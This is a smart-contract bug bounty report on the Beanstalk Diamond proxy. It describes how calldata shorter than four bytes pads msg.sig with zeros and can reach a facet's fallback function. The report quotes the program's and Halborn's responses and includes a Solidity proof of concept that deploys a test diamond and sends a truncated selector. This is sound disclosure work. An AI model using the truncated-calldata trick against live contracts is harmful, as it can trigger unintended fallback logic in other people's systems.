But msg.sig does not have any check that the message data contains at least 4 bytes under the hood. Especially, this will fill the missing bytes with null values. So, using msg.sig without a check on its length leads to an incorrect key for reading from selectorToFacetAndPosition mapping.
I have'n seen the facet with fallback with current deployed diamond, hovewer it can be added later. All in all, IMO the problem described above just fits the description "Contract fails to deliver promised returns, but doesn't lose value" and should be considered as a medium severity.
Attack scenario
Diamond proxy has one selector that ends with one zero byte, like 0x11223300.
This facet has a fallback function.
It is not expected that someone can call this fallback, since the diamond hasn't been set zero selectors is a valid one.
Then it is possible to call the diamond proxy with 0x112233 calldata, please notice that calldata size is 3 and msg.sig == 0x11223300, it is how Solidity works. So the diamond proxy will find a facet and make a dellegatecall to the address of facet. Finally, the facet will not recognize 0x112233 as a function selector and will execute the fallback.
Recommended Mitigation Steps
Consider adding an additional check on the length of message data to enforce that it has at least 4 bytes.
Proof of concept
BIC Response
This is not a security bug report because there is currently no facet with a fallback function.
Due to this reason, we are closing the submission and no reward will be issued.
Halborn Response
this is actually true but it is present already in every Diamond proxy as the Diamond proxy code does not really validate msg.sig length
that being said, currently there is no facet with a fallback function and I don't really see why you would want to add one
so its a bit your choice what to do here. I would say that if you consider adding any facets with a fallback function in the future you should add this check
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma experimental ABIEncoderV2;
pragma solidity =0.7.6;
import "https://github.com/BeanstalkFarms/Beanstalk/blob/master/protocol/contracts/farm/Diamond.sol";
contract TestFacet {
enum LastEnteredFunction {
None,
test946,
fallbackFunction
}
LastEnteredFunction public lastEnteredFunction;
function getLastEnteredFunction() external view returns (LastEnteredFunction) {
return lastEnteredFunction;
}
// bytes4(keccak256("test946()")) = 0xb72f9600
function test946() external {
lastEnteredFunction = LastEnteredFunction.test946;
}
fallback() external {
lastEnteredFunction = LastEnteredFunction.fallbackFunction;
}
}
contract PoC {
address public diamond;
constructor() {
diamond = address(new Diamond(address(this)));
TestFacet testFacet = new TestFacet();
_initializeDiamond(testFacet);
}
// Add test facet to the diamond proxy
function _initializeDiamond(TestFacet testFacet) internal {
bytes4[] memory selectors = new bytes4[](2);
selectors[0] = TestFacet.test946.selector;
selectors[1] = TestFacet.getLastEnteredFunction.selector;
IDiamondCut.FacetCut[] memory diamondCut = new IDiamondCut.FacetCut[](1);
diamondCut[0] = IDiamondCut.FacetCut({facetAddress: address(testFacet), action: IDiamondCut.FacetCutAction.Add, functionSelectors:selectors});
DiamondCutFacet(diamond).diamondCut(diamondCut, address(0), "");
}
// Vulnerability
function hack() external {
// No function has been called yet
require(TestFacet(diamond).getLastEnteredFunction() == TestFacet.LastEnteredFunction.None);
// Call the function with truncated signature
bytes3 truncattedSignature = bytes3(TestFacet.test946.selector);
(bool s, ) = address(diamond).call(abi.encodePacked(truncattedSignature));
require(s);
// Check last entered function
require(TestFacet(diamond).getLastEnteredFunction() == TestFacet.LastEnteredFunction.fallbackFunction);
}
}
